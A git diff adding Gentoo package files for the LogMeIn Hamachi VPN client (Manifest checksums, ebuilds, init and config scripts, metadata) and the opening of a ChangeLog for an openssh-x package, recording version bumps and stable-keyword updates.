e1019d4bc29884932691f49f5bd2889c1331a14f63b9b98d30a68b15d366ca236e56bce606f3082c6ee678ffa1621204e706fdfe3f62da3d8d1eb36840ac96f3 +AUX logmein-hamachi.initd 1526 SHA256 49337e88fb6b42bd830b108471ab87335a5890c2250f01f3dfa7069b4406984d SHA512 4f76dff322af85e89627a50feb43d46745057a65cbad27e57449f572ecf725df1407b66a651fcf3a41fd787eb6c95ac0a59afd1e4bf7a4b3542319285fec62e6 WHIRLPOOL ce0e3bac91a071b402f6166a06e8a3e10fa47b9e62fb536fa375769db493e1ec1b31f2667fd610b4ba84c6105fe70acc13e1cae4d4c124ce2dd5ddc293338cc8 +DIST logmein-hamachi-2.1.0.17-x64.tgz 1055901 SHA256 5de15e39d00d993fcd9d7a84ad6f8a89f6fa1162d7f55309d803c9b9718ef2f9 +DIST logmein-hamachi-2.1.0.17-x86.tgz 997313 SHA256 a1f026c0266fe07835c72e3a432528f11fbde7e1ec4cbfbcba731cef8f51feec +DIST logmein-hamachi-2.1.0.68-x64.tgz 1070317 SHA256 4a32bb07eac35f03c23787d31b86469545b520fd3c0337b8ddaed788c2754869 SHA512 1754292691709e3e4136fa00fc12389e982a002c7c045a2f5e00e9b79751f6e616318c9d7db5605aadeffc1f23efd51d3b694acdd541c89b7937898bcf509aaf WHIRLPOOL 777d5326b8382b29da99dac1f52d291c9df94381d2ffd91a3339c89bcdbc6a8f80b1fa61940a2b5080855a3f5969c40c62cf652398a731866b4d9c55e5f4c795 +DIST logmein-hamachi-2.1.0.68-x86.tgz 1010497 SHA256 41138f1c52b810a3ac107f93a161302b72805d71a389353070d5daead1cf70d7 +DIST logmein-hamachi-2.1.0.76-x64.tgz 1091221 SHA256 c6c59ce1ac4db42458b038e28cad114bad9fa6cb386de73050843d47e88645e3 SHA512 913aa516d7430085c04d33a6079c8ad82a19309f59ea91a8f0304b4d08c3b35932522a1315100ecf4a8ab1ab385564a46726c489e669d3beb1b972655228c981 WHIRLPOOL 4994184c4b46db3f1b50add3d6e5e0b57f9bcb96e2ccd78a560e7eabcb7ab4b3ea8163e143871e5701ebbbf9d1e9ea00660c921d10795f9073efcd09a6663def +DIST logmein-hamachi-2.1.0.76-x86.tgz 1031594 SHA256 1172f32ccb0ca63a726fa31aa5398f57591aabcfa688282a1f1c82c099e9fe19 SHA512 c533bd4fa7af814e12842d68072d6f05b58bf586105a75e267dab231b81112944ccc61f12377b498b78b8f4d90d0173cf32fb7fad208fae0633f7f99fd294855 WHIRLPOOL 9b631ae8ce5fb33aa647eee4b256d4c63b7a81929f1f26c71273d82a092b873c8021fbb1fb3b1a37cd186ab551bd4e29a8f5d2fa7a3e8393b1e2949522311818 +EBUILD logmein-hamachi-2.1.0.17.ebuild 1715 SHA256 4b782d243f17c5a92f5655d4a1cd12539e79ce5bd8348b3db99ed25f07c0667f SHA512 78be607d7dfba677b72ca05efa367ab173b2a8bdd174a857739e8fe1ca1413288cd65e1100a3eeef026db3ee0d9219e48db4393c666a6b4741d02503a8e46372 WHIRLPOOL 537003b17ba9d268186211e0cf28e6253110fa001c44fbaf78c54619ef546e6a33b3f6e70b46fde631aa0662cf96a67d4abfa2156e8837671e85184510f6d260 +EBUILD logmein-hamachi-2.1.0.68-r1.ebuild 1758 SHA256 832e1794dec78885a1fa97954e0a25fa5d46f452cb50f699bf83e49271c893ab SHA512 24026684f6eea159b03660fce63c18c7a2b3e058c40444b83724feb1617b98d4da622d166a2a1b1c63ac6a9cec19673e900650613cfabe508e96eb758f55c999 WHIRLPOOL 9348c1aaec3443d19e90e86251b2e6d29c096e80acc0e63957296f88b298575686cb043de271aa5db77d8bd10edc53d5826269b14ea6eb7a4076ee0455b137e3 +EBUILD logmein-hamachi-2.1.0.68.ebuild 1716 SHA256 437169993b9e9317f324d2dbf17fd5395525ab16ea1bb3d86a73c3d0a4907e71 SHA512 134044bf514e43d6f6c0172bd9e4c65432ba78cbfb8e2616ad0709373ac7b5774253eda298d8c4cf742036c10812bc68440b87b9bcb82eaa6134026323e55eef WHIRLPOOL 677c744e17d5ee60f9c20b06138c6a33b2c0b346a452e8b31f5e8acf6b986c59cfab863cfb66f96b48c2849bde4e93ad184a4c0655610d70ba0be591214a0299 +EBUILD logmein-hamachi-2.1.0.76-r1.ebuild 1763 SHA256 3a62497742d738c17e8709ce04ae9a6d8aed0ce71b0703d8c3ea80fc5db1e8f9 SHA512 8f74f52479831f39232f7897a88b7021cf7403c340f304ef6a451f61edf1a092f78000df926392a0936cbc54740a4eaec3d985325f5988babced8015cc45a4fe WHIRLPOOL 673211832e7a4dc84cd17576e9b8a7731cb40a95b09f6ee5f72baef05c1d4becb032621023a017cc89f186dcb25311e7aaf4369c2a3907d2a631c62b47853c5a +EBUILD logmein-hamachi-2.1.0.76.ebuild 1753 SHA256 7a46dd5d2f075eeb9e4fe66fe538a7c50f3584a44b50d85bfe5bf34387a7bb8c SHA512 a24990b27f45d9ed62cbde3104653bceddf1a5b6be10975ae618fd473ef20732768924bbe6eb7af0e547f4fe30ea817e300a13fb24d6ae104012792b61eeeca3 WHIRLPOOL f455a8bc569e621e7908640f32103531c53957ef260488870bf7682bff0df3bf3de12643397ea7785bd17bc20d61ba9b6b3cec1ff0fc912efb83da5f7d9475b9 +MISC ChangeLog 2004 SHA256 62069c818b0a7d11cab658f1a0767c8ce1eb71ee3e10d47916fe4bb1286575aa SHA512 ca815fbd7846375627d04adc20ff59ca22b7d5d8cf8aa5533e61dc54923b9ba784a0553999efdb0397b6774ab69b50be191ad0ffa4c9e85383124498ee9bede8 WHIRLPOOL 300d47284051403a532c89defd584ad3d579bcaded2e16fa6db775f6a7a4af44bfc5c0bf152d4f701b37e10566c7f9629d0c4dc4670e230799ddce29556e672b +MISC metadata.xml 271 SHA256 fbb3d4a4ac430596956b69e0435bad93c2a660fa52c7503cefd1d7b615770185 SHA512 8e0d07e4d7817e26452a71f4c35f1becf91c842da68ff67f4f09cb5c6d2d42a60d1cc424118841ce9d891594008de066e823537e69e5d983f056b87ef8a42079 WHIRLPOOL 3c41fce26ea8420680f397d6b68f0b0fd9b4b9c787c2c802535138f73e82db575943ade214f5a29d0447e7e0a532b2451f503b88be1b3499abb9746e1ab4f719 diff --git a/net-misc/logmein-hamachi/files/logmein-hamachi.confd b/net-misc/logmein-hamachi/files/logmein-hamachi.confd new file mode 100644 index 00000000..0b6aac55 --- /dev/null +++ b/net-misc/logmein-hamachi/files/logmein-hamachi.confd @@ -0,0 +1,16 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/files/logmein-hamachi.confd,v 1.1 2011/01/15 21:13:25 hwoarang Exp $ + +# /etc/conf.d/logmein-hamachi +# Config file for logmein-hamachi control script + +# Location of config, identity and log files +CONFDIR="/var/lib/logmein-hamachi" + +# Your nickname +# Set it to enable auto-login when starting the service +NICKNAME="" + +# Seconds to wait before auto-login (if enabled) +WAIT="2" diff --git a/net-misc/logmein-hamachi/files/logmein-hamachi.initd b/net-misc/logmein-hamachi/files/logmein-hamachi.initd new file mode 100644 index 00000000..7b704e19 --- /dev/null +++ b/net-misc/logmein-hamachi/files/logmein-hamachi.initd @@ -0,0 +1,73 @@ +#!/sbin/runscript +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 + +DAEMON=/opt/logmein-hamachi/bin/hamachid +PIDFILE=/var/run/logmein-hamachi/hamachid.pid + +depend() { + need net +} + +checktun() { + [ $(uname -s) = "Linux" ] || return 0 + [ -e /dev/net/tun ] && return 0 + modprobe tun && return 0 + + eerror "TUN/TAP support is not available in the running kernel" + return 1 +} + +start() +{ + # returns + # 0 if daemon has been started + # 1 if daemon was already running + # 2 if daemon could not be started + + checktun || return 2 + + ebegin "Starting hamachi" + + start-stop-daemon --quiet --start --exec "${DAEMON}" \ + --pidfile "${PIDFILE}" -- -c "${CONFDIR}" + result=$? + + if [ ${result} -eq 0 ] && [ -n "${NICKNAME}" ]; then + # it fails logging in immediately + sleep ${WAIT} + /usr/bin/hamachi login + if [ -z "$(/usr/bin/hamachi | grep 'logged in')" ]; then + start-stop-daemon --quiet --stop \ + --exec "${DAEMON}" --pidfile "${PIDFILE}" + result=1 + else + /usr/bin/hamachi set-nick "${NICKNAME}" + fi + fi + + eend ${result} +} + +stop() +{ + # returns + # 0 if daemon has been stopped + # 1 if daemon was already stopped + # 2 if daemon could not be stopped + # other if a failure occurred + + ebegin "Stopping hamachi" + + /usr/bin/hamachi logout + start-stop-daemon --quiet --stop --exec "${DAEMON}" \ + --pidfile "${PIDFILE}" + + eend $? +} + +status() { + service_started "${SVCNAME}" || return 1 + /usr/bin/hamachi + /usr/bin/hamachi list +} diff --git a/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.17.ebuild b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.17.ebuild new file mode 100644 index 00000000..cb76205f --- /dev/null +++ b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.17.ebuild @@ -0,0 +1,61 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.17.ebuild,v 1.1 2011/08/24 11:07:13 hwoarang Exp $ + +inherit eutils linux-info + +DESCRIPTION="LogMeIn Hamachi VPN tunneling engine" +HOMEPAGE="https://secure.logmein.com/products/hamachi2" +SRC_URI="x86? ( https://secure.logmein.com/labs/${P}-x86.tgz ) + amd64? ( https://secure.logmein.com/labs/${P}-x64.tgz )" + +LICENSE="LogMeIn" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" +IUSE="" + +RDEPEND="!net-misc/hamachi" + +RESTRICT="mirror" + +QA_PRESTRIPPED="/opt/${PN}/bin/hamachid" + +pkg_setup() { + einfo "Checking your kernel configuration for TUN/TAP support." + CONFIG_CHECK="~TUN" + check_extra_config +} + +src_unpack() { + unpack ${A} + mv ${P}-$(use x86 && echo x86 || echo x64) "${S}" || die +} + +src_install() { + into /opt/${PN} + dobin hamachid dnsup dnsdown || die + dosym /opt/${PN}/bin/hamachid /usr/bin/hamachi || die "Couldn't create hamachi symlink" + + dodir /var/run/${PN} || die + + # Config and log directory + dodir /var/lib/${PN} || die + + newconfd "${FILESDIR}"/${PN}.confd ${PN} || die + newinitd "${FILESDIR}"/${PN}.initd ${PN} || die + + dodoc CHANGES README || die +} + +pkg_postinst() { + elog "LogMeIn Hamachi2 is installed." + elog "Consult the README file on how to configure your client." + elog "You can run the client 'hamachi' as root," + elog "or as a user if you add a line:" + elog "Ipc.User " + elog "to the file '/var/lib/${PN}/h2-engine-override.cfg'" + elog "and restart the daemon with" + elog "/etc/init.d/${PN} restart" + elog "To enable auto-login when the service starts set a nickname in" + elog "/etc/conf.d/${PN}" +} diff --git a/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68-r1.ebuild b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68-r1.ebuild new file mode 100644 index 00000000..364e95d5 --- /dev/null +++ b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68-r1.ebuild @@ -0,0 +1,62 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68-r1.ebuild,v 1.1 2012/08/17 11:54:58 titanofold Exp $ + +inherit eutils linux-info + +DESCRIPTION="LogMeIn Hamachi VPN tunneling engine" +HOMEPAGE="https://secure.logmein.com/products/hamachi2" +SRC_URI="x86? ( https://secure.logmein.com/labs/${P}-x86.tgz ) + amd64? ( https://secure.logmein.com/labs/${P}-x64.tgz )" + +LICENSE="LogMeIn" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" +IUSE="" + +RDEPEND="!net-misc/hamachi" + +RESTRICT="mirror" + +QA_PREBUILT="/opt/${PN}/bin/hamachid" +QA_PRESTRIPPED="/opt/${PN}/bin/hamachid" + +pkg_setup() { + einfo "Checking your kernel configuration for TUN/TAP support." + CONFIG_CHECK="~TUN" + check_extra_config +} + +src_unpack() { + unpack ${A} + mv ${P}-$(use x86 && echo x86 || echo x64) "${S}" || die +} + +src_install() { + into /opt/${PN} + dobin hamachid dnsup dnsdown || die + dosym /opt/${PN}/bin/hamachid /usr/bin/hamachi || die "Couldn't create hamachi symlink" + + dodir /var/run/${PN} || die + + # Config and log directory + dodir /var/lib/${PN} || die + + newconfd "${FILESDIR}"/${PN}.confd ${PN} || die + newinitd "${FILESDIR}"/${PN}.initd ${PN} || die + + dodoc CHANGES README || die +} + +pkg_postinst() { + elog "LogMeIn Hamachi2 is installed." + elog "Consult the README file on how to configure your client." + elog "You can run the client 'hamachi' as root," + elog "or as a user if you add a line:" + elog "Ipc.User " + elog "to the file '/var/lib/${PN}/h2-engine-override.cfg'" + elog "and restart the daemon with" + elog "/etc/init.d/${PN} restart" + elog "To enable auto-login when the service starts set a nickname in" + elog "/etc/conf.d/${PN}" +} diff --git a/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68.ebuild b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68.ebuild new file mode 100644 index 00000000..40583675 --- /dev/null +++ b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68.ebuild @@ -0,0 +1,61 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68.ebuild,v 1.1 2012/06/29 08:06:49 maksbotan Exp $ + +inherit eutils linux-info + +DESCRIPTION="LogMeIn Hamachi VPN tunneling engine" +HOMEPAGE="https://secure.logmein.com/products/hamachi2" +SRC_URI="x86? ( https://secure.logmein.com/labs/${P}-x86.tgz ) + amd64? ( https://secure.logmein.com/labs/${P}-x64.tgz )" + +LICENSE="LogMeIn" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" +IUSE="" + +RDEPEND="!net-misc/hamachi" + +RESTRICT="mirror" + +QA_PRESTRIPPED="/opt/${PN}/bin/hamachid" + +pkg_setup() { + einfo "Checking your kernel configuration for TUN/TAP support." + CONFIG_CHECK="~TUN" + check_extra_config +} + +src_unpack() { + unpack ${A} + mv ${P}-$(use x86 && echo x86 || echo x64) "${S}" || die +} + +src_install() { + into /opt/${PN} + dobin hamachid dnsup dnsdown || die + dosym /opt/${PN}/bin/hamachid /usr/bin/hamachi || die "Couldn't create hamachi symlink" + + dodir /var/run/${PN} || die + + # Config and log directory + dodir /var/lib/${PN} || die + + newconfd "${FILESDIR}"/${PN}.confd ${PN} || die + newinitd "${FILESDIR}"/${PN}.initd ${PN} || die + + dodoc CHANGES README || die +} + +pkg_postinst() { + elog "LogMeIn Hamachi2 is installed." + elog "Consult the README file on how to configure your client." + elog "You can run the client 'hamachi' as root," + elog "or as a user if you add a line:" + elog "Ipc.User " + elog "to the file '/var/lib/${PN}/h2-engine-override.cfg'" + elog "and restart the daemon with" + elog "/etc/init.d/${PN} restart" + elog "To enable auto-login when the service starts set a nickname in" + elog "/etc/conf.d/${PN}" +} diff --git a/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76-r1.ebuild b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76-r1.ebuild new file mode 100644 index 00000000..87a137b9 --- /dev/null +++ b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76-r1.ebuild @@ -0,0 +1,62 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76-r1.ebuild,v 1.1 2012/10/15 18:22:42 hwoarang Exp $ + +inherit eutils linux-info + +DESCRIPTION="LogMeIn Hamachi VPN tunneling engine" +HOMEPAGE="https://secure.logmein.com/products/hamachi2" +SRC_URI="x86? ( https://secure.logmein.com/labs/${P}-x86.tgz ) + amd64? ( https://secure.logmein.com/labs/${P}-x64.tgz )" + +LICENSE="LogMeIn" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" +IUSE="" + +RDEPEND="!net-misc/hamachi" + +RESTRICT="mirror" + +QA_PREBUILT="/opt/${PN}/bin/hamachid" +QA_PRESTRIPPED="/opt/${PN}/bin/hamachid" + +pkg_setup() { + einfo "Checking your kernel configuration for TUN/TAP support." + CONFIG_CHECK="~TUN" + check_extra_config +} + +src_unpack() { + unpack ${A} + mv ${P}-$(use x86 && echo x86 || echo x64) "${S}" || die +} + +src_install() { + into /opt/${PN} + dobin hamachid dnsup dnsdown || die + dosym /opt/${PN}/bin/hamachid /usr/bin/hamachi || die "Couldn't create hamachi symlink" + + dodir /var/run/${PN} || die + + # Config and log directory + dodir /var/lib/${PN} || die + + newconfd "${FILESDIR}"/${PN}.confd ${PN} || die + newinitd "${FILESDIR}"/${PN}.initd ${PN} || die + + dodoc CHANGES README || die +} + +pkg_postinst() { + elog "LogMeIn Hamachi2 is installed." + elog "Consult the README file on how to configure your client." + elog "You can run the client 'hamachi' as root," + elog "or as a user if you add a newline terminated line:" + elog "Ipc.User " + elog "to the file '/var/lib/${PN}/h2-engine-override.cfg'" + elog "and restart the daemon with" + elog "/etc/init.d/${PN} restart" + elog "To enable auto-login when the service starts set a nickname in" + elog "/etc/conf.d/${PN}" +} diff --git a/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76.ebuild b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76.ebuild new file mode 100644 index 00000000..09887dbc --- /dev/null +++ b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76.ebuild @@ -0,0 +1,62 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76.ebuild,v 1.1 2012/10/03 21:11:40 hwoarang Exp $ + +inherit eutils linux-info + +DESCRIPTION="LogMeIn Hamachi VPN tunneling engine" +HOMEPAGE="https://secure.logmein.com/products/hamachi2" +SRC_URI="x86? ( https://secure.logmein.com/labs/${P}-x86.tgz ) + amd64? ( https://secure.logmein.com/labs/${P}-x64.tgz )" + +LICENSE="LogMeIn" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" +IUSE="" + +RDEPEND="!net-misc/hamachi" + +RESTRICT="mirror" + +QA_PREBUILT="/opt/${PN}/bin/hamachid" +QA_PRESTRIPPED="/opt/${PN}/bin/hamachid" + +pkg_setup() { + einfo "Checking your kernel configuration for TUN/TAP support." + CONFIG_CHECK="~TUN" + check_extra_config +} + +src_unpack() { + unpack ${A} + mv ${P}-$(use x86 && echo x86 || echo x64) "${S}" || die +} + +src_install() { + into /opt/${PN} + dobin hamachid dnsup dnsdown || die + dosym /opt/${PN}/bin/hamachid /usr/bin/hamachi || die "Couldn't create hamachi symlink" + + dodir /var/run/${PN} || die + + # Config and log directory + dodir /var/lib/${PN} || die + + newconfd "${FILESDIR}"/${PN}.confd ${PN} || die + newinitd "${FILESDIR}"/${PN}.initd ${PN} || die + + dodoc CHANGES README || die +} + +pkg_postinst() { + elog "LogMeIn Hamachi2 is installed." + elog "Consult the README file on how to configure your client." + elog "You can run the client 'hamachi' as root," + elog "or as a user if you add a line:" + elog "Ipc.User " + elog "to the file '/var/lib/${PN}/h2-engine-override.cfg'" + elog "and restart the daemon with" + elog "/etc/init.d/${PN} restart" + elog "To enable auto-login when the service starts set a nickname in" + elog "/etc/conf.d/${PN}" +} diff --git a/net-misc/logmein-hamachi/metadata.xml b/net-misc/logmein-hamachi/metadata.xml new file mode 100644 index 00000000..c9fafa9c --- /dev/null +++ b/net-misc/logmein-hamachi/metadata.xml @@ -0,0 +1,9 @@ + + + + proxy-maintainers + + nonno.cicala@libero.it + Simone Scanzoni + + diff --git a/net-misc/openssh-x/ChangeLog b/net-misc/openssh-x/ChangeLog new file mode 100644 index 00000000..93dd285c --- /dev/null +++ b/net-misc/openssh-x/ChangeLog @@ -0,0 +1,1929 @@ +# ChangeLog for net-misc/openssh +# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/ChangeLog,v 1.451 2012/09/08 18:38:11 vapier Exp $ + +*openssh-6.1_p1 (08 Sep 2012) + + 08 Sep 2012; Mike Frysinger + +files/openssh-6.1_p1-x509-glue.patch, + +files/openssh-6.1_p1-x509-hpn-glue.patch, +openssh-6.1_p1.ebuild: + Version bump #434278 by Phr33d0m. + +*openssh-6.0_p1-r1 (08 Jun 2012) + + 08 Jun 2012; Mike Frysinger +openssh-6.0_p1-r1.ebuild: + Back hpn patch back down to v11 as v12 does not want to work for us #414401 by + Sean McGovern. + + 02 Jun 2012; Mike Frysinger openssh-5.9_p1-r4.ebuild: + Mark alpha/ia64/s390/sh/sparc stable #396075. + + 29 May 2012; Alexis Ballier openssh-6.0_p1.ebuild: + keyword ~amd64-fbsd + + 29 May 2012; Richard Yao + +files/openssh-6.0_p1-fix-freebsd-compilation.patch, openssh-6.0_p1.ebuild: + Fix build failure on Gentoo FreeBSD 9, written by naota, reviewed by + xarthisius, approved by Chainsaw, bug #391011 + + 23 May 2012; Mike Frysinger openssh-5.5_p1-r2.ebuild, + openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild, openssh-5.8_p1-r1.ebuild, + openssh-5.8_p2-r1.ebuild, openssh-5.8_p2.ebuild, openssh-5.9_p1-r3.ebuild, + openssh-5.9_p1-r4.ebuild, openssh-6.0_p1.ebuild: + Inherit user eclass for enewuser/etc... + + 17 May 2012; Mike Frysinger + +files/openssh-6.0_p1-test.patch, openssh-6.0_p1.ebuild: + Add fix for POSIX test compat #391011. + + 08 May 2012; Brent Baude openssh-5.9_p1-r4.ebuild: + Marking openssh-5.9_p1-r4 ppc64 for bug 396075 + + 05 May 2012; Jeff Horelick openssh-5.5_p1-r2.ebuild, + openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild, openssh-5.8_p1-r1.ebuild, + openssh-5.8_p2.ebuild, openssh-5.8_p2-r1.ebuild, openssh-5.9_p1-r3.ebuild, + openssh-5.9_p1-r4.ebuild, openssh-6.0_p1.ebuild: + dev-util/pkgconfig -> virtual/pkgconfig + + 03 May 2012; Mike Frysinger openssh-6.0_p1.ebuild: + Enable locale env var passing by default #367017 by Michael. + +*openssh-6.0_p1 (30 Apr 2012) + + 30 Apr 2012; Mike Frysinger + +files/openssh-6.0_p1-hpn-progressmeter.patch, + +files/openssh-6.0_p1-x509-glue.patch, + +files/openssh-6.0_p1-x509-hpn-glue.patch, +openssh-6.0_p1.ebuild: + Version bump with work from Robin #414071 by Michael Weber. + + 16 Apr 2012; Markus Meier openssh-5.9_p1-r4.ebuild: + arm stable, bug #396075 + + 16 Apr 2012; Brent Baude openssh-5.9_p1-r4.ebuild: + Marking openssh-5.9_p1-r4 ppc for bug 396075 + + 10 Apr 2012; Jeroen Roovers openssh-5.9_p1-r4.ebuild: + Stable for HPPA (bug #396075). + + 09 Apr 2012; Jeff Horelick openssh-5.9_p1-r4.ebuild: + marked x86 per bug 396075 + + 09 Apr 2012; Agostino Sarubbo openssh-5.9_p1-r4.ebuild: + Stable for amd64, wrt bug #396075 + +*openssh-5.9_p1-r4 (15 Mar 2012) + + 15 Mar 2012; Mike Frysinger +openssh-5.9_p1-r4.ebuild, + +files/openssh-5.9_p1-drop-openssl-check.patch: + Drop openssl version checking. + + 13 Mar 2012; Pawel Hajdan jr + openssh-5.5_p1-r2.ebuild, openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild, + openssh-5.8_p1-r1.ebuild, openssh-5.8_p2.ebuild, openssh-5.8_p2-r1.ebuild, + openssh-5.9_p1-r3.ebuild: + Switch to virtual/shadow. + + 13 Feb 2012; Robin H. Johnson openssh-5.9_p1-r3.ebuild: + Bug #352083: install LPK schema. + + 06 Feb 2012; Jeremy Olexa openssh-5.9_p1-r3.ebuild: + [Bug 402441] net-misc/openssh: Add output to say that ECDSA will not work + when openssl[bindist] is present + + 14 Dec 2011; MichaÅ‚ Górny openssh-5.9_p1-r3.ebuild, + +files/sshd.service, +files/sshd.socket, +files/sshd_at.service: + Install systemd unit files. + + 04 Dec 2011; Sven Wegener files/sshd.rc6, + files/sshd.rc6.1, files/sshd.rc6.2: + move reload to extra_started_commands + + 26 Nov 2011; Mike Frysinger openssh-5.9_p1-r3.ebuild: + Move enew{user,group} to pkg_preinst so `die` works. + + 03 Nov 2011; Mike Frysinger openssh-5.5_p1-r2.ebuild, + openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild, openssh-5.8_p1-r1.ebuild, + openssh-5.8_p2.ebuild, openssh-5.8_p2-r1.ebuild, openssh-5.9_p1-r3.ebuild: + Use new egetshell helper rather than calling getent directly. + + 02 Nov 2011; Mike Frysinger openssh-5.5_p1-r2.ebuild, + openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild, openssh-5.8_p1-r1.ebuild, + openssh-5.8_p2.ebuild, openssh-5.8_p2-r1.ebuild, openssh-5.9_p1-r3.ebuild: + Use egetent rather than getent. + +*openssh-5.9_p1-r3 (26 Sep 2011) + + 26 Sep 2011; Mike Frysinger -openssh-5.9_p1.ebuild, + -openssh-5.9_p1-r2.ebuild, +openssh-5.9_p1-r3.ebuild, + +files/openssh-5.9_p1-x509-glue.patch: + Add x509 patch and release. + +*openssh-5.9_p1-r2 (14 Sep 2011) +*openssh-5.8_p2-r1 (14 Sep 2011) + + 14 Sep 2011; Lars Wendler + +openssh-5.8_p2-r1.ebuild, -openssh-5.9_p1-r1.ebuild, + +openssh-5.9_p1-r2.ebuild, files/sshd.rc6.3: + non-maintainer commit: Replaced deprecated opts variable (bug #382227) and + removed --stop option from reload function (bug #382975). Bot changes and + revbumps were done with kind permission from vapier. + + 12 Sep 2011; Mike Frysinger openssh-5.9_p1-r1.ebuild: + Simplify test homedir logic a bit, and fix quoting. + +*openssh-5.9_p1-r1 (07 Sep 2011) + + 07 Sep 2011; Robin H. Johnson +openssh-5.9_p1-r1.ebuild: + Add complete port of HPN+LPK patches, also adjust the HOMEDIR setting for + src_test to complete in more cases. + + 07 Sep 2011; Mike Frysinger openssh-5.9_p1.ebuild: + Retain default AuthorizedKeysFile behavior. + +*openssh-5.9_p1 (07 Sep 2011) + + 07 Sep 2011; Mike Frysinger +openssh-5.9_p1.ebuild, + +files/openssh-5.9_p1-sshd-gssapi-multihomed.patch, +files/sshd.rc6.3: + Version bump. Drop --oknodo in init.d #377771 by Michael Mair-Keimberger. Add + GSSAPI/Kerberos fix #378361 by Kevan Carstensen. + + 28 May 2011; Mike Frysinger files/sshd.rc6.2: + Move custom opts to checkconfig and include those when verifying config + sanity #367303 by Horst Prote. + + 16 May 2011; Robin H. Johnson openssh-5.8_p2.ebuild: + Bug #366643: rediff the LPK patch for LDAP usage. Also merge the Mozilla uid + customization LPK change. + +*openssh-5.8_p2 (09 May 2011) + + 09 May 2011; Mike Frysinger +openssh-5.8_p2.ebuild: + Version bump. + + 16 Apr 2011; Ulrich Mueller openssh-5.5_p1-r2.ebuild, + openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild, openssh-5.8_p1-r1.ebuild: + Don't PROVIDE virtual/ssh, bug 361121. + + 19 Feb 2011; Mike Frysinger openssh-5.8_p1-r1.ebuild: + Encourage people to update their stored ssh key lists #355223 by Pacho Ramos. + + 19 Feb 2011; Mike Frysinger -openssh-5.8_p1.ebuild, + openssh-5.8_p1-r1.ebuild: + We want openssh-5.8_p1-r1 going stable. + + 13 Feb 2011; Raúl Porcel openssh-5.8_p1.ebuild: + arm/ia64/m68k/s390/sh/sparc stable wrt #353673 + + 11 Feb 2011; Pawel Hajdan jr + openssh-5.8_p1.ebuild: + x86 stable wrt security bug #353673 + + 11 Feb 2011; Kacper Kowalik openssh-5.8_p1.ebuild: + ppc stable wrt 353673 + + 10 Feb 2011; Markos Chandras openssh-5.8_p1.ebuild: + Stable on amd64 wrt bug #353673 + + 10 Feb 2011; Robin H. Johnson openssh-5.5_p1-r2.ebuild, + openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild, openssh-5.8_p1.ebuild, + openssh-5.8_p1-r1.ebuild: + Revamp AES-CTR-MT disable comment, with explicit reference to upstream + documentation and testcase reference (bug #354113, comment 6). + + 10 Feb 2011; Mike Frysinger openssh-5.8_p1-r1.ebuild, + +files/openssh-5.8_p1-selinux.patch: + Drop openssl build patch since it doesn't seem to be needed anymore, and + apply simple build fix for selinux from upstream #354247 by MarisN. + + 10 Feb 2011; Robin H. Johnson openssh-5.8_p1.ebuild: + Also add AES-CTR fix to 5.8_p1 presently under stabilization. + alpha/hppa/ppc64 are the only stable arches with the broken HPN version at + present. + +*openssh-5.8_p1-r1 (10 Feb 2011) + + 10 Feb 2011; Robin H. Johnson openssh-5.6_p1-r2.ebuild, + openssh-5.7_p1-r1.ebuild, +openssh-5.8_p1-r1.ebuild: + Bug #354113: AES-CTR workaround was dropped from 5.7 and 5.8 when it is still + required. + + 08 Feb 2011; Kacper Kowalik openssh-5.8_p1.ebuild: + ppc64 stable wrt #353673 + + 08 Feb 2011; Tobias Klausmann openssh-5.8_p1.ebuild: + Stable on alpha, bug #353673 + + 08 Feb 2011; Jeroen Roovers openssh-5.8_p1.ebuild: + Stable for HPPA (bug #353673). + +*openssh-5.8_p1 (05 Feb 2011) + + 05 Feb 2011; Mike Frysinger +openssh-5.8_p1.ebuild, + +files/openssh-5.8_p1-x509-hpn-glue.patch: + Version bump #353673. 